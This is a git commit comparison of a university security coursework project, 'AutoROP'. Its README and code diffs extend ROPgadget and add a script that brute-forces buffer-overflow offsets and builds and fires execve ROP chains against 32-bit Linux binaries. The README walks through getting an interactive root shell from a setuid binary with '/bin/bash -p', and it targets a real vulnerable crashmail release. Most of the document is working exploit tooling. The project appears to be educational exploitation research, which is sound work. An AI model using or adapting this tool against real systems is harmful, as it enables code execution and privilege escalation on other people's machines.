Compare commits

..

33 Commits
leem ... main

Author SHA1 Message Date
Chris Gora
936755e05a added github link 2020-12-12 12:34:24 +00:00
Chris Gora
5c9be58181 typo 2020-12-12 12:32:07 +00:00
Chris Gora
0eda6fbce9 Added report 2020-12-12 12:25:07 +00:00
2291068d17
Update README.md 2020-12-12 12:20:21 +00:00
f13ef70767 readme stuff 2020-12-11 11:53:47 +00:00
Liam Dalgarno
055b787c2d pass exec args 2020-12-09 19:33:27 +00:00
Liam Dalgarno
7934330d2e Include test binaries and fix ascii decoding 2020-12-09 18:12:01 +00:00
Liam Dalgarno
2438be66f4 Add 32-bit libncurses
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
2020-12-09 18:10:19 +00:00
Liam Dalgarno
c5d3b99b65 Make brute forcing offset faster 2020-12-06 15:19:38 +00:00
Liam Dalgarno
9814d27a0a add interactive arg 2020-12-06 14:51:33 +00:00
Liam Dalgarno
8026609b48 Find offset by hand without core dump 2020-12-05 17:26:35 +00:00
Liam Dalgarno
07dd7e3060 interactive process but bad 2020-12-05 16:09:33 +00:00
90836542ea add cw overview (inc. mark scheme) 2020-12-02 16:48:26 +00:00
dc989748f0 add ropper 2020-12-02 12:13:45 +00:00
b61a844605 remove more null bytes 2020-11-30 16:58:37 +00:00
Liam Dalgarno
ea9a78d8b9 Offset data by 1 2020-11-29 22:59:38 +00:00
de9dadc961 remove unnecessary flags 2020-11-28 20:38:30 +00:00
15c38f07df add executable with null byte in data address 2020-11-28 20:35:39 +00:00
2933e3d434 add feedback to proposal 2020-11-28 17:57:28 +00:00
Liam Dalgarno
f92b6e9ccd Add execve arguments
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
2020-11-28 17:42:09 +00:00
Liam Dalgarno
b38616fd71 Update .gitignore
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
2020-11-28 17:41:33 +00:00
Liam Dalgarno
b5ef4f9a27 Add example scripts
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
2020-11-28 17:40:49 +00:00
Liam Dalgarno
e5c6aa6060 Mod -4 to calculate padding
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
2020-11-28 16:19:37 +00:00
Liam Dalgarno
0e9e49935a Add functions for writing 4 bytes and 4 nulls
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
2020-11-28 15:56:14 +00:00
3b26f5c27c ignore rop.txt 2020-11-28 15:34:40 +00:00
8f4f0a46fa remove files 2020-11-28 15:34:08 +00:00
6f6e1ed92c neater address variable management 2020-11-28 15:31:36 +00:00
Chris Gora
45ab02464e
Merge pull request #2 from jackbondpreston/jack
ROPgadget now writes to file itself, QOL changes in autoRop
2020-11-28 14:15:11 +00:00
e726e702ea remove some prints 2020-11-28 14:14:46 +00:00
e9245580e6 ROPgadget now writes to file itself, QOL changes in autoRop 2020-11-27 01:18:51 +00:00
d191eac742 Makefile for vuln-32 2020-11-27 00:02:30 +00:00
Liam Dalgarno
ca03d9d77d ARBITRARY PROGRAM BUT BAD (NO ARGS)
Co-authored-by: Liam Dalgarno <liamdalg99@gmail.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
2020-11-26 17:55:08 +00:00
807362d1e2
Merge pull request #1 from jackbondpreston/leem
Clean up find_offset and add payload args
2020-11-26 13:43:02 +00:00
29 changed files with 849 additions and 94 deletions

12
.gitignore vendored
View File

@ -136,7 +136,15 @@ dmypy.json
.vagrant .vagrant
# binaries # binaries
vuln-32
core core
out/* out/*
!out/.gitkeep !out/.gitkeep
# rop.txt
rop.txt
# netcat
netcat-0.7.1
# Ropper
Ropper

110
README.md
View File

@ -1 +1,109 @@
# security-cw # AutoROP
```console
_ ___ _.--. ___ _____ ______ _____ ______ ______
\`.|\..----...-'` `-._.-'_.-'` / _ \ / ____| /\ |____ / ____| /\ | ____| ____|
/ ' ` , __.--' | | | |_ _| | / \ / / | / \ | |__ | |__
)/' _/ \ `-_, / | | | \ \/ / | / /\ \ / /| | / /\ \ | __| | __|
`-'" `"\_ ,_.-;_.-\_ ', | |_| |> <| |____ / ____ \ / / | |____ / ____ \| | | |____
_.-'_./ {_.' ; / \___//_/\_\\_____/_/ \_\/_/ \_____/_/ \_\_| |______|
{_.-``-' {_/
__ __
| _______ _ _ _______ _____ ______ _____ _____ |
| |_____| | | | | | |_____/ | | |_____] |
| | | |_____| | |_____| | \_ |_____| | |
|__ __|
```
## Set up Vagrant
The project uses vagrant to ensure consistent results across machines.
```sh
vagrant up
vagrant ssh
cd cw
```
Our test environment uses:
* Vagrant with the [Libvirt](https://github.com/vagrant-libvirt/vagrant-libvirt) provider
* Ubuntu 18.04, provided by the image `generic/ubuntu1804`
* Python 3.9.0
* A modified version of [ROPGadget](https://github.com/JonathanSalwan/ROPgadget)
## `autoRop.py`
Our ROP exploit is in the Python script `autoRop.py`. The script supports automatic gadget discovery and ROP chain exploitation of 32-bit x86 Linux ELF binaries. Broadly, the script works by:
1. Generating a padding discovery ROP payload from the target program which executes `/bin/echo "[ Successful ROP! ]"`.
1. Modifying the padding length on the discovery payload until the exploit is successful.
1. Generating the target ROP payload in `exec_args.json` with the discovered padding in step 2.
1. Running the program with the target payload.
## ROP exploit on test binaries
All binaries are located in the `test-binaries` directory. Each of them uses a different method for supplying the ROP exploit. Below are instructions for each type. You will see for each attack that it is successful when it prints `[ Successful ROP! ]`.
### `vuln-32` - Binary using file input
This is the original vulnerable program from the lab. It takes its payload from a file, the path to which is passed as an argument.
```sh
python autoRop.py --input_method file --run test-binaries/vuln-32
```
### `null-data-addr` - Binary using file input
This is the original vulnerable program from the lab, compiled with the flag `-Tdata 0x080f0000`. This sets the base `.data` address to `0x080f0000`, resulting in null bytes in the data address. We can confirm the data address has been set accordingly with:
```sh
$ readelf --sections test-binaries/null-data-addr 2> /dev/null | grep -e "\.data "
> [ 2] .data PROGBITS 080f0000 091000 000f20 00 WA 0 0 32
```
AutoROP handles this issue for us.
```sh
python autoRop.py --input_method file --run test-binaries/null-data-addr
```
### `elf-linux-x86`/`elf-linux-x86-NDH-chall` - Binaries using a positional argument
These binaries are largely similar. They both take the payload as their first argument.
```sh
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86
python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86-NDH-chall
```
### `crashmail` - Binary using an optional argument
This was a real world vulnerable version of the program crashmail. When the `SETTINGS` option is used, the next argument has a buffer overflow vulnerability. Thus, we run this binary with the first argument as `SETTINGS` and the next argument as the payload. This can be configured by changing the exec_args file from the default `exec_args.json`
```json
[ "$PAYLOAD$" ]
```
to `test-binaries/crashmail_exec_args.json`
```json
[ "SETTINGS", "$PAYLOAD$" ]
```
like so:
```sh
python autoRop.py --input_method arg --exec_args test-binaries/crashmail_exec_args.json --run test-binaries/crashmail
```
This may take a little while due to the fairly large required offset.
## Changing the `execve` target
AutoROP allows you to change what you execute with `execve` - enabling the execution of any executable with any arguments. It also allows to automatically run the ROP chain where the ROP payload will generate an interactive program, using the argument `--interactive`. Without `--interactive`, the program simply dumps the output of the ROP to stdout.
We demonstrate this by making AutoROP generate an interactive shell payload. To do this, we use the file `rop_exec_bash.json`:
```json
["/bin/bash", "-p"]
```
This array represents the `execve` arguments - the signature will be `execve("/bin/bash", ["/bin/bash", "-p"])`.
The `-p` flag is used to enable privileged mode. In this mode, bash will acknowledge the effective user id, allowing exploitation of the `setuid` bit. This means that if the target binary has the setuid bit sit, we will be able to get a root shell. We demonstrate this by setting the setuid bit on `vuln-32-setuid`. This binary is stored in the home directory due to issues surrounding setting the owner and setuid bit on files in the Vagrant shared directory.
Now we run AutoROP on this binary, and get an interactive root shell:
```sh
python autoRop.py --input_method file --rop_exec_file rop_exec_bash.json --run --interactive ~/vuln-32-setuid
```
We can verify this by typing
```console
whoami
```
and we get `root`!

View File

@ -85,6 +85,8 @@ architectures supported:
parser.add_argument("--re", type=str, metavar="<re>", help="Regular expression") parser.add_argument("--re", type=str, metavar="<re>", help="Regular expression")
parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses") parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses")
parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain") parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain")
parser.add_argument("--ropFile", type=str, metavar="<string>", default="rop.txt", help="The file to write the generated ROP bytes to")
parser.add_argument("--execFile", type=str, metavar="<string>", default="/bin/sh", help="Path of the executable to make execve() run")
parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation") parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation")
parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)") parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)")
parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine") parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine")

View File

@ -12,6 +12,7 @@ import re
import codecs import codecs
import ropgadget.rgutils as rgutils import ropgadget.rgutils as rgutils
import binascii import binascii
import json
from ropgadget.binary import Binary from ropgadget.binary import Binary
from capstone import CS_MODE_32 from capstone import CS_MODE_32
@ -215,7 +216,13 @@ class Core(cmd.Cmd):
self.__getGadgets() self.__getGadgets()
self.__lookingForGadgets() self.__lookingForGadgets()
if self.__options.ropchain: if self.__options.ropchain:
ROPMaker(self.__binary, self.__gadgets, self.__options.paddingLen, self.__offset) with open(self.__options.execFile) as f:
exec_contents = json.load(f)
ROPMaker(
self.__binary, self.__gadgets, self.__options.paddingLen,
self.__options.ropFile, exec_contents, self.__offset
)
return True return True

View File

@ -9,14 +9,18 @@
import re import re
from capstone import * from capstone import *
import sys
import math
from struct import pack
class ROPMakerX86(object): class ROPMakerX86(object):
def __init__(self, binary, gadgets, paddingLen, liboffset=0x0): def __init__(self, binary, gadgets, paddingLen, outFile, exec, liboffset=0x0):
self.__binary = binary self.__binary = binary
self.__gadgets = gadgets self.__gadgets = gadgets
self.paddingLen = paddingLen self.paddingLen = paddingLen
self.outFile = outFile
self.exec = exec
# If it's a library, we have the option to add an offset to the addresses # If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset self.__liboffset = liboffset
@ -41,7 +45,7 @@ class ROPMakerX86(object):
if g != "ret": if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "": if g.split()[0] == "ret" and g.split()[1] != "":
raise raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return [gadget, regex.group("dst"), regex.group("src")] return [gadget, regex.group("dst"), regex.group("src")]
except: except:
continue continue
@ -59,23 +63,60 @@ class ROPMakerX86(object):
if g != "ret": if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "": if g.split()[0] == "ret" and g.split()[1] != "":
raise raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) # print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
return gadget return gadget
except: except:
continue continue
return None return None
def __padding(self, gadget, regAlreadSetted): def __padding(self, gadget, regAlreadSetted):
p = b""
lg = gadget["gadget"].split(" ; ") lg = gadget["gadget"].split(" ; ")
for g in lg[1:]: for g in lg[1:]:
if g.split()[0] == "pop": if g.split()[0] == "pop":
reg = g.split()[1] reg = g.split()[1]
try: try:
print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg)) p = pack("<I", regAlreadSetted[reg])
except KeyError: except KeyError:
print("p += pack('<I', 0x41414141) # padding") p = pack("<I", 0x41414141)
return p
def __write4bytes(self, address, data, data_addr, popDst, popSrc, write4where):
# write address to dst
p = pack("<I", popDst['vaddr'])
p += pack("<I", address)
p += self.__padding(popDst, {})
# write data to src
p += pack("<I", popSrc['vaddr'])
p += data
p += self.__padding(popSrc, {popDst["gadget"].split()[1]: data_addr}) # Don't overwrite reg dst
# write src to [dst] (address pointed to by dst)
p += pack("<I", write4where['vaddr'])
p += self.__padding(write4where, {})
return p
def __write4nulls(self, address, popDst, xorSrc, write4where):
p = pack("<I", popDst['vaddr'])
p += pack("<I", address)
p += self.__padding(popDst, {})
p += pack("<I", xorSrc["vaddr"])
p += self.__padding(xorSrc, {})
p += pack("<I", write4where["vaddr"])
p += self.__padding(write4where, {})
return p
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall): def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
#print("== Gadgets ==")
#print(self.__gadgets)
#print("=============\n\n\n\n")
sects = self.__binary.getDataSections() sects = self.__binary.getDataSections()
dataAddr = None dataAddr = None
@ -86,84 +127,170 @@ class ROPMakerX86(object):
print("\n# [-] Error - Can't find a writable section") print("\n# [-] Error - Can't find a writable section")
return return
print("#!/usr/bin/env python2") print(f"dataAddr = 0x{dataAddr:08x}")
print("# execve generated by ROPgadget\n" ) print(f"int 0x80 = 0x{syscall['vaddr']:08x}")
print("from struct import pack\n")
print("import sys")
print() # Offset address to make all addresses even.
print("out_file = sys.argv[1]") # This prevent having a null byte in any addresses we write to.
print() if dataAddr % 2 == 0:
dataAddr += 1
print("p = b'" + ('A' * self.paddingLen) + "'\n") dataAddrStr = f"{dataAddr:08x}".replace("00", "01")
dataAddr = int(dataAddrStr, 16)
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"])) print(f"dataAddr = 0x{dataAddr:08x}")
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
self.__padding(popDst, {})
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"])) # prepend padding
print("p += b'/bin'") p = bytes('A' * self.paddingLen, "ascii")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"])) command = self.exec[0]
self.__padding(write4where, {})
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"])) # split command into chunks of 4, prepend with /s as necessary
print("p += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4)) command = padding_len(len(command)) * "/" + command
self.__padding(popDst, {}) command_chunks = wrap(command, 4)
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"])) ## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
print("p += b'//sh'")
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst args = self.exec[1:]
chunked_args = []
for arg in args:
arg = arg + padding_len(len(arg)) * "!"
print(arg)
chunked_args.append(wrap(arg, 4))
print(chunked_args)
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"])) # & ( "cat" \0 )
self.__padding(write4where, {}) exec_addr = dataAddr
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"])) # setup argv array
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8)) # [ & "--run" \0 , & "--verbose" \0 ]
self.__padding(popDst, {}) # note that the null bytes may be written "earlier", when the string is not len % 4 == 0
arg_addr = []
acc_addr = exec_addr + len(command) + 4
for i, arg in enumerate(args):
arg_addr.append(acc_addr)
print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"])) acc_addr += len(arg) + padding_len(len(arg)) + 4
self.__padding(xorSrc, {})
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"])) # & ( [ ptr -> "cat" ] ++ arg_addr )
self.__padding(write4where, {}) argv_addr = acc_addr
print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"])) env_addr = argv_addr + (len(args) * 4) + 4
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
self.__padding(popEbx, {})
print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"])) del acc_addr
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"])) ###################
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8)) # WRITE EXEC PATH #
self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx ###################
print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"])) # write the command
self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx for i, chunk in enumerate(command_chunks):
address = exec_addr + (i * 4)
# write 4 char chunk of the command
p += self.__write4bytes(
address,
bytes(chunk, "ascii"),
dataAddr, popDst, popSrc, write4where
)
# write null byte after exec path string
p += self.__write4nulls(
exec_addr + len(command),
popDst, xorSrc, write4where
)
##########################
# Write Argument Strings #
##########################
for i, arg in enumerate(chunked_args):
this_arg_addr = arg_addr[i]
for j, chunk in enumerate(arg):
address = this_arg_addr + (j * 4)
# write 4 char chunk of the command
p += self.__write4bytes(
address,
bytes(chunk, "ascii"),
dataAddr, popDst, popSrc, write4where
)
p += self.__write4nulls(
this_arg_addr + len(args[i]),
popDst, xorSrc, write4where
)
####################
# Write Argv Array #
####################
# write argv[0] = exec_addr
p += self.__write4bytes(
argv_addr,
pack('<I', exec_addr),
dataAddr, popDst, popSrc, write4where
)
for i, address in enumerate(arg_addr):
p += self.__write4bytes(
argv_addr + ((i + 1) * 4),
pack('<I', address),
dataAddr, popDst, popSrc, write4where
)
# write null byte after argv array
p += self.__write4nulls(
argv_addr + (len(args) * 4) + 4,
popDst, xorSrc, write4where
)
##################################
# Setup execve Args in Registers #
##################################
# ebx = exec_path
p += pack("<I", popEbx["vaddr"])
p += pack("<I", exec_addr) # @ .data
p += self.__padding(popEbx, {})
# ecx = ptr_to_argv
p += pack('<I', popEcx["vaddr"])
p += pack('<I', argv_addr)
p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
# edx = _ (empty for env vars)
p += pack('<I', popEdx["vaddr"])
p += pack('<I', env_addr)
p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
# eax = 0
p += pack('<I', xorEax["vaddr"])
p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
# eax ++-> 11
for i in range(11): for i in range(11):
print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"])) p += pack('<I', incEax["vaddr"])
self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"])) p += pack('<I', syscall["vaddr"])
print()
print(r""" with open(self.outFile, "wb") as f:
with open(out_file, "wb") as f: f.write(p)
f.write(p)
""")
def __generate(self): def __generate(self):
# To find the smaller gadget # To find the smaller gadget
self.__gadgets.reverse() self.__gadgets.reverse()
print("\n# ROP chain generation\n# ===========================================================") # print("\n# ROP chain generation\n# ===========================================================")
print("\n# - Step 1 -- Write-what-where gadgets\n") # print("\n# - Step 1 -- Write-what-where gadgets\n")
gadgetsAlreadyTested = [] gadgetsAlreadyTested = []
while True: while True:
@ -192,7 +319,7 @@ with open(out_file, "wb") as f:
else: else:
break break
print("\n# - Step 2 -- Init syscall number gadgets\n") # print("\n# - Step 2 -- Init syscall number gadgets\n")
xorEax = self.__lookingForSomeThing("xor eax, eax") xorEax = self.__lookingForSomeThing("xor eax, eax")
if not xorEax: if not xorEax:
@ -204,7 +331,7 @@ with open(out_file, "wb") as f:
print("# [-] Can't find the 'inc eax' instruction") print("# [-] Can't find the 'inc eax' instruction")
return return
print("\n# - Step 3 -- Init syscall arguments gadgets\n") # print("\n# - Step 3 -- Init syscall arguments gadgets\n")
popEbx = self.__lookingForSomeThing("pop ebx") popEbx = self.__lookingForSomeThing("pop ebx")
if not popEbx: if not popEbx:
@ -221,14 +348,22 @@ with open(out_file, "wb") as f:
print("# [-] Can't find the 'pop edx' instruction") print("# [-] Can't find the 'pop edx' instruction")
return return
print("\n# - Step 4 -- Syscall gadget\n") # print("\n# - Step 4 -- Syscall gadget\n")
syscall = self.__lookingForSomeThing("int 0x80") syscall = self.__lookingForSomeThing("int 0x80")
if not syscall: if not syscall:
print("# [-] Can't find the 'syscall' instruction") print("# [-] Can't find the 'syscall' instruction")
return return
print("\n# - Step 5 -- Build the ROP chain\n") # print("\n# - Step 5 -- Build the ROP chain\n")
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall) self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
# def round_n(x, n):
# return int(math.ceil(x / n) * n)
def padding_len(x):
return -(x % -4)
def wrap(str, n):
return [ str[i:i + n] for i in range(0, len(str), n) ]

View File

@ -11,10 +11,12 @@ from ropgadget.ropchain.arch.ropmakerx86 import *
from ropgadget.ropchain.arch.ropmakerx64 import * from ropgadget.ropchain.arch.ropmakerx64 import *
class ROPMaker(object): class ROPMaker(object):
def __init__(self, binary, gadgets, paddingLen, offset): def __init__(self, binary, gadgets, paddingLen, outFile, execPath, offset):
self.__binary = binary self.__binary = binary
self.__gadgets = gadgets self.__gadgets = gadgets
self.paddingLen = paddingLen self.paddingLen = paddingLen
self.outFile = outFile
self.execPath = execPath
self.__offset = offset self.__offset = offset
self.__handlerArch() self.__handlerArch()
@ -24,7 +26,7 @@ class ROPMaker(object):
if self.__binary.getArch() == CS_ARCH_X86 \ if self.__binary.getArch() == CS_ARCH_X86 \
and self.__binary.getArchMode() == CS_MODE_32 \ and self.__binary.getArchMode() == CS_MODE_32 \
and self.__binary.getFormat() == "ELF": and self.__binary.getFormat() == "ELF":
ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.__offset) ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.outFile, self.execPath, self.__offset)
elif self.__binary.getArch() == CS_ARCH_X86 \ elif self.__binary.getArch() == CS_ARCH_X86 \
and self.__binary.getArchMode() == CS_MODE_64 \ and self.__binary.getArchMode() == CS_MODE_64 \

7
Vagrantfile vendored
View File

@ -1,5 +1,8 @@
Vagrant.configure("2") do |config| Vagrant.configure("2") do |config|
config.vm.box = "generic/ubuntu1804" config.vm.box = "generic/ubuntu1804"
config.vm.provision "shell", path: "init.sh" config.vm.provision "shell", path: "init.sh", privileged: false
config.vm.synced_folder "./", "/home/vagrant/cw" config.vm.synced_folder "./", "/home/vagrant/cw", type: "nfs", nfs_version: 4, "nfs_udp": false, mount_options: ["rw", "vers=4", "tcp", "nolock"]
config.vm.provider :libvirt do |libvirt|
libvirt.cpus = 4
end
end end

View File

@ -4,11 +4,13 @@ import math
import os import os
import subprocess import subprocess
import sys import sys
import json
from contextlib import redirect_stderr from contextlib import redirect_stderr
from pwnlib.context import context from pwnlib.context import context
from pwnlib.elf.corefile import Coredump from pwnlib.elf.corefile import Coredump
from pwnlib.tubes.process import process, signal from pwnlib.tubes.process import process, signal, PTY
from pwnlib import term
from pwnlib.util.cyclic import cyclic, cyclic_find from pwnlib.util.cyclic import cyclic, cyclic_find
from pwnlib.util.packing import pack from pwnlib.util.packing import pack
from pwnlib import atexit as pwnlibexit from pwnlib import atexit as pwnlibexit
@ -34,30 +36,98 @@ print(r'''
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable") arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit") arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file") arg_parser.add_argument("--exec_args_file", metavar="exec_args_file", default="exec_args.json", type=str, help="The path to the file containing the arguments to pass to the executable. Put $PAYLOAD$ where you want the payload to be placed. (default: exec_args.json)")
arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try") arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary (default: arg)")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try") arg_parser.add_argument("--interactive", action="store_true", default=False, help="Automatically run the ROP on the executable")
arg_parser.add_argument("--min_payload", metavar="min", default=0, type=int, help="The minimum payload length to try (default: 0)")
arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try (default: 16384)")
arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run (default: rop_exec.json)")
arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file (default: rop.txt)")
arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
args = arg_parser.parse_args() args = arg_parser.parse_args()
exec_file = args.exec_file exec_file = args.exec_file
rop_file = args.rop_file rop_file = args.rop_file
rop_exec_file = args.rop_exec_file
min_payload = args.min_payload min_payload = args.min_payload
max_payload = args.max_payload max_payload = args.max_payload
run = args.run
input_method = args.input_method
interactive = args.interactive
exec_args_file = args.exec_args_file
exec_args = []
with open(exec_args_file, "r") as f:
exec_args = json.load(f)
payload_idx = exec_args.index('$PAYLOAD$')
def run_program(payload: str, **kwargs) -> process:
p = None
if input_method == 'arg':
exec_args[payload_idx] = payload
p = process([f'{exec_file}'] + exec_args, **kwargs)
elif input_method == 'file':
with open('/tmp/input.txt', 'wb') as f:
f.write(payload)
f.flush()
exec_args[payload_idx] = '/tmp/input.txt'
p = process([f'{exec_file}'] + exec_args, **kwargs)
elif input_method == 'stdin':
p = process([f'{exec_file}'] + exec_args, **kwargs)
p.send(payload)
return p
def find_offset_inc(low: int, high: int):
default_padding = 64
tmp_rop = '/tmp/rop_file'
print(f" ├─[🤔] Generating offset discovery payload...")
result = subprocess.run(
[
"ROPgadget",
"--binary", exec_file,
"--ropchain",
"--silent",
"--paddingLen", str(default_padding),
"--ropFile", tmp_rop,
"--execFile", 'rop_exec_default.json',
],
stdout = subprocess.PIPE
)
with open("log/ropgadget.log", "wb") as f:
f.write(result.stdout)
try:
with open(tmp_rop, 'rb') as f:
original_payload = f.read()[default_padding:]
for i in range(low, high + 1):
print(f" ├─[🤔] Trying offset {i}...")
rop_payload = (b'A' * i) + original_payload
proc = run_program(rop_payload)
if b'[ Successful ROP! ]' in proc.readall():
print(f" └─[😳] Found offset at {i}!\n")
return i
except FileNotFoundError as e:
print(f" └─[😥] Could not find {e.filename}, check log/ropgadget.log for details")
return -1
def find_offset(exec_file: str, min_payload: int, max_payload: int): def find_offset(exec_file: str, min_payload: int, max_payload: int):
input_file = "input.txt" print("[ Find Offset Length ]")
payload_size = min_payload payload_size = min_payload
while payload_size <= max_payload: while payload_size <= max_payload:
print(f"[🤔] Trying payload {payload_size}...") print(f" ├─[🤔] Trying payload {payload_size}...")
with open(input_file, "wb") as f: payload = cyclic(payload_size)
payload = cyclic(payload_size) proc = run_program(exec_file, payload, input_method, alarm=2)
f.write(payload)
proc = process([f"./{exec_file}", input_file])
exit_code = proc.poll(block=True) exit_code = proc.poll(block=True)
x = proc.readall()
print(x)
if exit_code != 0: if exit_code != 0:
# ignore the warnings returned by pwnlib, if finding corefile fails then core is None # ignore the warnings returned by pwnlib, if finding corefile fails then core is None
@ -66,35 +136,50 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
if core is not None and pack(core.eip) in payload: if core is not None and pack(core.eip) in payload:
offset = cyclic_find(core.eip) offset = cyclic_find(core.eip)
print(f"[😳] Found offset at {offset}!\n") print(f" └─[😳] Found offset at {offset}!\n")
return offset return offset
payload_size *= 2 payload_size *= 2
return -1 return -1
offset = find_offset(exec_file, min_payload, max_payload)
offset = find_offset_inc(min_payload, max_payload)
if offset == -1: if offset == -1:
print(f"[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!") print(f" └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
sys.exit(0) sys.exit(0)
print(f"[🤔] Running ROPgadget with offset {offset}...") print("[ Generate ROP ]")
print(f" ├─[🤔] Running ROPgadget with offset {offset}...")
result = subprocess.run( result = subprocess.run(
[ [
"ROPgadget", "ROPgadget",
"--binary", exec_file, "--binary", exec_file,
"--ropchain", "--ropchain",
"--silent", "--silent",
"--paddingLen", str(offset) "--paddingLen", str(offset),
"--ropFile", rop_file,
"--execFile", rop_exec_file,
], ],
stdout = subprocess.PIPE stdout = subprocess.PIPE
) )
with open("log/ropgadget.log", "wb") as f:
with open("script.py", "wb") as f:
f.write(result.stdout) f.write(result.stdout)
